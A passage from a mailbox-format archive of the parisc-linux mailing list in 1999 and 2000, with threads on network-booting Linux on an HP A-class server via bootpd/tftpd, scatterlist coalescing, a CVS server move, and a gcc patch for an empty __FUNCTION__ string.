References: <Your message of "Thu, 26 Oct 2000 14:37:20 PDT." <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com> <Message from Kailashnath V Rampure <kailasr@webcash.com> <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com> <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com> <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com> <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com>  <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619226 5191 80.91.229.3 (22 Nov 2014 01:20:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: bame@noam.fc.hp.com  Fri Oct 27 15:40:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA31150
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 15:40:14 -0600
Original-Received: (qmail 18041 invoked by uid 15267); 27 Oct 2000 21:41:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18019 invoked from network); 27 Oct 2000 21:41:47 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 21:41:47 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 6FDDF1131; Fri, 27 Oct 2000 17:41:43 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id PAA20211;
	Fri, 27 Oct 2000 15:41:42 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13pHFu-0003FA-00; Fri, 27 Oct 2000 15:41:42 -0600
In-Reply-To: Your message of "Fri, 27 Oct 2000 13:37:49 PDT."
             <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8250

= linux:\
=          hn:\
=          sm=255.255.248.0:\
=          vm=rfc1048:\
=          ht=ether:\
=          hd=/tftpboot:\
=          bf=vmlinux:\
=          ha=0010830339e0:\
=          ip=192.168.1.237

bf should probably be lifimage, not vmlinux, though that's not the
current problem.

	-P


From - Thu Nov 08 21:13:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: scatterlist (de-)construction
Date: Fri, 27 Oct 2000 14:29:16 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <200010272129.OAA03380@pizda.ninka.net>
References: <200010272037.NAA23925@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619226 5193 80.91.229.3 (22 Nov 2014 01:20:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com
Original-X-From: davem@redhat.com  Fri Oct 27 15:42:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA31739
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 15:42:54 -0600
Original-Received: (qmail 21087 invoked by uid 15267); 27 Oct 2000 21:44:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21071 invoked from network); 27 Oct 2000 21:44:28 -0000
Original-Received: from pizda.ninka.net (root@216.101.162.242)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 21:44:28 -0000
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id OAA03380;
	Fri, 27 Oct 2000 14:29:16 -0700
In-reply-to: <200010272037.NAA23925@milano.cup.hp.com> (message from Grant
	Grundler on Fri, 27 Oct 2000 13:37:34 -0700 (PDT))
Xref: news.gmane.org gmane.linux.ports.parisc:8251


Also have a look at arch/sparc64/kernel/{iommu,pci_iommu}.c
for an algorithm which coalesces all possible cases.  It is
not pretty code but I fully verified it with a userland simulator so
it works.

Later,
David S. Miller
davem@redhat.com


From - Thu Nov 08 21:13:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: scatterlist (de-)construction
Date: Fri, 27 Oct 2000 14:28:13 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <200010272128.OAA03377@pizda.ninka.net>
References: <200010272037.NAA23925@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619227 5194 80.91.229.3 (22 Nov 2014 01:20:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com
Original-X-From: davem@redhat.com  Fri Oct 27 15:43:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA31982
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 15:43:49 -0600
Original-Received: (qmail 22304 invoked by uid 15267); 27 Oct 2000 21:45:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22153 invoked from network); 27 Oct 2000 21:45:17 -0000
Original-Received: from pizda.ninka.net (root@216.101.162.242)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 21:45:17 -0000
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id OAA03377;
	Fri, 27 Oct 2000 14:28:13 -0700
In-reply-to: <200010272037.NAA23925@milano.cup.hp.com> (message from Grant
	Grundler on Fri, 27 Oct 2000 13:37:34 -0700 (PDT))
Xref: news.gmane.org gmane.linux.ports.parisc:8252


Set ENABLE_CLUSTERING in the scsi driver or use a 4K block
size in your ext2 partitions.

Later,
David S. Miller
davem@redhat.com


From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Fri, 27 Oct 2000 15:51:37 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20001027215137.00F1138137@carmen.fc.hp.com>
References: <Your message of "Fri, 27 Oct 2000 13:37:49 PDT." 
 <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>  
 <5.0.0.25.0.20001027142719.03822920@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619227 5195 80.91.229.3 (22 Nov 2014 01:20:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:27 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, deller@gmx.de,
        parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: taggart@carmen.fc.hp.com  Fri Oct 27 15:48:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA32612
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 15:48:13 -0600
Original-Received: (qmail 27619 invoked by uid 15267); 27 Oct 2000 21:49:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27612 invoked from network); 27 Oct 2000 21:49:48 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 21:49:48 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id B197B58E; Fri, 27 Oct 2000 17:49:47 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 00F1138137; Fri, 27 Oct 2000 15:51:37 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Kailashnath V Rampure <kailasr@webcash.com> 
   of "Fri, 27 Oct 2000 14:29:53 PDT." <5.0.0.25.0.20001027142719.03822920@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8253


Kailashnath V Rampure writes...

> I also see on the Linux server that bootpd is being invoked for some time
> only.

bootpd runs from inetd and only stays up if it's receiving requests. After a 
specified amount of time of no requests it will exit. This isn't a problem as 
inetd will fire up a new one if needed.

I would make sure that tftpd is doing the right thing. You can test your tftpd 
setup by trying to download the lifimage yourself using the tftp client 
program.

bootpd and tftpd are pretty good about writing to syslog too, so check there 
for errors.

HTH,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS has moved!
Date: Sun, 18 Apr 1999 02:08:12 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990418020051.1235B-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619227 5199 80.91.229.3 (22 Nov 2014 01:20:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Sun Apr 18 02:08:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id CAA14874
	for <parisc-linux@sod.res.cmu.edu>; Sun, 18 Apr 1999 02:08:24 -0400
Original-Received: (qmail 32630 invoked by uid 15267); 18 Apr 1999 06:07:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32623 invoked from network); 18 Apr 1999 06:07:11 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 18 Apr 1999 06:07:11 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id CAA10215
	for <parisc-linux@thepuffingroup.com>; Sun, 18 Apr 1999 02:08:12 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8254


For hopefully the last time, the parisc-linux CVS server has moved.  It is
now at:

:pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc
(for anonymous read only access)

:ext:user@puffin.external.hp.com:/home/cvs/parisc
(for registered contributors)

If you want to contribute to anything in the CVS, you have to register
with us.

HP's extremely helpful in getting this machine for us; we intend to use it
for CVS and FTP access.  I'll setup FTP properly tomorrow.  The througput
is a lot better than it has been at our old site.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Fri, 27 Oct 2000 14:58:25 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001027145806.037c89e0@mail.webcash.com>
References: <Message from Kailashnath V Rampure <kailasr@webcash.com>
 <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>
 <Your message of "Thu, 26 Oct 2000 14:37:20 PDT."  <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com>
 <Message from  Kailashnath V Rampure <kailasr@webcash.com>
 <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
 <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com>
 <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
 <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com>
 <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com> <20001027214152.F259D38137@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619227 5201 80.91.229.3 (22 Nov 2014 01:20:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:27 +0000 (UTC)
Cc: deller@gmx.de, parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: kailasr@webcash.com  Fri Oct 27 16:00:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA00828
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 16:00:19 -0600
Original-Received: (qmail 8810 invoked by uid 15267); 27 Oct 2000 22:01:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8679 invoked from network); 27 Oct 2000 22:01:49 -0000
Original-Received: from ns2.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 22:01:49 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9RLuOG04025;
	Fri, 27 Oct 2000 14:56:24 -0700 (PDT)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <20001027214152.F259D38137@carmen.fc.hp.com>
Original-References: <Message from Kailashnath V Rampure <kailasr@webcash.com>
 <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>
 <Your message of "Thu, 26 Oct 2000 14:37:20 PDT."  <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com>
 <Message from  Kailashnath V Rampure <kailasr@webcash.com>
 <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
 <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com>
 <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
 <5.0.0.25.0.20001026142948.00a3deb0@mail.webcash.com>
 <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8255

The inetd.conf is as follows

tftp    dgram   udp     wait    root    /usr/sbin/tcpd  in.tftpd /tftpboot
bootps  dgram   udp     wait    root    /usr/sbin/tcpd  bootpd


At 03:41 PM 10/27/00 -0600, Matt Taggart wrote:

>Kailashnath V Rampure writes...
>
> > But when I type bo lan at HP server Iget the following error
>
>Do you have tftp installed and working? It usually runs via inetd. Here's 
>what
>I have in /etc/inetd.conf on my Debian box,
>
>tftp  dgram  udp  wait  nobody  /usr/sbin/tcpd  /usr/sbin/in.tftpd /boot
>/tftpboot
>
>--
>Matt Taggart
>taggart@fc.hp.com


From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Fri, 27 Oct 2000 15:06:09 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001027145903.037c0530@mail.webcash.com>
References: <Your message of "Fri, 27 Oct 2000 13:37:49 PDT." <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com> <200010272138.OAA24029@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619228 5204 80.91.229.3 (22 Nov 2014 01:20:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: kailasr@webcash.com  Fri Oct 27 16:25:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA01418
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 16:25:16 -0600
Original-Received: (qmail 2568 invoked by uid 15267); 27 Oct 2000 22:26:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2560 invoked from network); 27 Oct 2000 22:26:51 -0000
Original-Received: from ns2.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 22:26:51 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9RMJSG06048;
	Fri, 27 Oct 2000 15:19:28 -0700 (PDT)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <200010272138.OAA24029@milano.cup.hp.com>
Original-References: <Your message of "Fri, 27 Oct 2000 13:37:49 PDT." <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8256

I have redhat linux and the lin in my inetd.conf is as follows:

I missed few lines in the error. The complet error is as follows.
-------------------------
  Booting...
  Cannot find ENTRY_TEST.

  Fail to initialize.

  ENTRY_INT
  Status=-7

00000000 00000000 00000010 830339E0 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0000000B 00000000 000000FF 00000000  00000000  00000000  00000000  00000000
00000000 00000000 00400720 00000000 00000000 00000000 00000000 00000000

Failed to initialize
-------------------------------------------

The details of the server is as follows
The machine type is HP ACLASS (A180C)
The hardware path of the lan card is 8/0/20/0.




At 02:38 PM 10/27/00 -0700, Grant Grundler wrote:
>Kailashnath - can you also include machine type and
>HW path of the "lan" device?
>
>thanks,
>grant
>
>
>Kailashnath V Rampure wrote:
>...
> > But when I type bo lan at HP server Iget the following error
> > -------------------------
> > Booting...
> > Cannot find ENTRY_TEST.
> >
> > Fail to initialize.
> >
> > ENTRY_INT
> > Status=-7
>
>Config files look fine.
>What does your HP server report for "search lan"?
>(type that instead of "bo lan")
>
>grant
>
>Grant Grundler
>Unix Systems Enablement Lab
>+1.408.447.7253
>
>---------------------------------------------------------------------------
>To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.


From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Fri, 27 Oct 2000 18:22:26 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001027180812.00a505d0@mail.webcash.com>
References: <Message from Kailashnath V Rampure <kailasr@webcash.com>
 <5.0.0.25.0.20001027142719.03822920@mail.webcash.com>
 <Your message of "Fri, 27 Oct 2000 13:37:49 PDT."  <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>
 <5.0.0.25.0.20001027142719.03822920@mail.webcash.com> <20001027215137.00F1138137@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619228 5208 80.91.229.3 (22 Nov 2014 01:20:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:28 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, deller@gmx.de,
        parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: kailasr@webcash.com  Fri Oct 27 19:28:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA02866
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 19:28:08 -0600
Original-Received: (qmail 1847 invoked by uid 15267); 28 Oct 2000 01:29:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1821 invoked from network); 28 Oct 2000 01:29:39 -0000
Original-Received: from ns2.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 28 Oct 2000 01:29:39 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9S1KPG22115;
	Fri, 27 Oct 2000 18:20:25 -0700 (PDT)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <20001027215137.00F1138137@carmen.fc.hp.com>
Original-References: <Message from Kailashnath V Rampure <kailasr@webcash.com>
 <5.0.0.25.0.20001027142719.03822920@mail.webcash.com>
 <Your message of "Fri, 27 Oct 2000 13:37:49 PDT."  <5.0.0.25.0.20001027131913.00a57090@mail.webcash.com>
 <5.0.0.25.0.20001027142719.03822920@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8257

Thanks !!!!! a lot specially to MATT and Helge Deller
I was able to Bring up the linux on A class server.

Now I have formatted the hdd and mounted disk to /mnt and then transfered 
the root to /dev/hda2.
I want to know how  do I transfer palo to this new hdd.

Regards
Kailas

At 03:51 PM 10/27/00 -0600, Matt Taggart wrote:

>Kailashnath V Rampure writes...
>
> > I also see on the Linux server that bootpd is being invoked for some time
> > only.
>
>bootpd runs from inetd and only stays up if it's receiving requests. After a
>specified amount of time of no requests it will exit. This isn't a problem as
>inetd will fire up a new one if needed.
>
>I would make sure that tftpd is doing the right thing. You can test your 
>tftpd
>setup by trying to download the lifimage yourself using the tftp client
>program.
>
>bootpd and tftpd are pretty good about writing to syslog too, so check there
>for errors.
>
>HTH,
>
>--
>Matt Taggart
>taggart@fc.hp.com
>
>
>---------------------------------------------------------------------------
>To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.


From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] __FUNCTION__ broken
Date: Sat, 28 Oct 2000 13:55:13 +1100 (EST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010281302510.2559-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619228 5213 80.91.229.3 (22 Nov 2014 01:20:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:28 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, gcc-patches@gcc.gnu.org,
        parisc-linux@thepuffingroup.com
To: Mark Mitchell <mark@codesourcery.com>
Original-X-From: alan@linuxcare.com.au  Fri Oct 27 20:57:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA03906
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 20:57:32 -0600
Original-Received: (qmail 2470 invoked by uid 15267); 28 Oct 2000 02:59:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2459 invoked from network); 28 Oct 2000 02:59:06 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 28 Oct 2000 02:59:06 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA06746;
	Sat, 28 Oct 2000 13:55:13 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8258

Hi Mark,
  Your 2000-09-16 change doesn't clear c_function_name_declared_p
anywhere, resulting in empty strings for __FUNCTION__ and the like.

eg. testcase
cat > funcname.c <<EOF
extern int printf (__const char *__restrict __format, ...);

int foo (int x)
{
  return x+1;
}

int main (void)
{
  printf ("%s\n", __FUNCTION__);
  return 0;
}
EOF


The following little patch seems to fix the problem, but please check
whether other cleaning up is required.

--- gcc/c-decl.c~	Thu Oct 26 16:20:36 2000
+++ gcc/c-decl.c	Sat Oct 28 12:10:56 2000
@@ -6733,6 +6733,7 @@ finish_function (nested)
 	 function.  For a nested function, this value is used in
 	 pop_c_function_context and then reset via pop_function_context.  */
       current_function_decl = NULL;
+      c_function_name_declared_p = 0;
     }
 }
 

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: __FUNCTION__ broken
Date: Sat, 28 Oct 2000 23:00:17 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20001028230017.A19583@cygnus.com>
References: <Pine.LNX.4.21.0010281302510.2559-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619229 5217 80.91.229.3 (22 Nov 2014 01:20:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:29 +0000 (UTC)
Cc: Mark Mitchell <mark@codesourcery.com>,
        Grant Grundler <grundler@cup.hp.com>, gcc-patches@gcc.gnu.org,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rth@cygnus.com  Sat Oct 28 23:59:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA28076
	for <parisc-linux@puffin.external.hp.com>; Sat, 28 Oct 2000 23:59:06 -0600
Original-Received: (qmail 21622 invoked by uid 15267); 29 Oct 2000 06:00:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21583 invoked from network); 29 Oct 2000 06:00:22 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 29 Oct 2000 06:00:22 -0000
Original-Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id XAA05131;
	Sat, 28 Oct 2000 23:00:17 -0700 (PDT)
Original-Received: (rth@localhost) by dot.cygnus.com (8.9.3/8.6.4) id XAA19588; Sat, 28 Oct 2000 23:00:17 -0700
X-Mailer: Mutt 0.95.5i
In-Reply-To: <Pine.LNX.4.21.0010281302510.2559-100000@front.linuxcare.com.au>; from Alan Modra on Sat, Oct 28, 2000 at 01:55:13PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8259

On Sat, Oct 28, 2000 at 01:55:13PM +1100, Alan Modra wrote:
>        current_function_decl = NULL;
> +      c_function_name_declared_p = 0;

Applied, thanks.



r~


From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lost archive messages
Date: Sun, 29 Oct 2000 22:47:32 -0800 (PST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200010300647.WAA25804@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
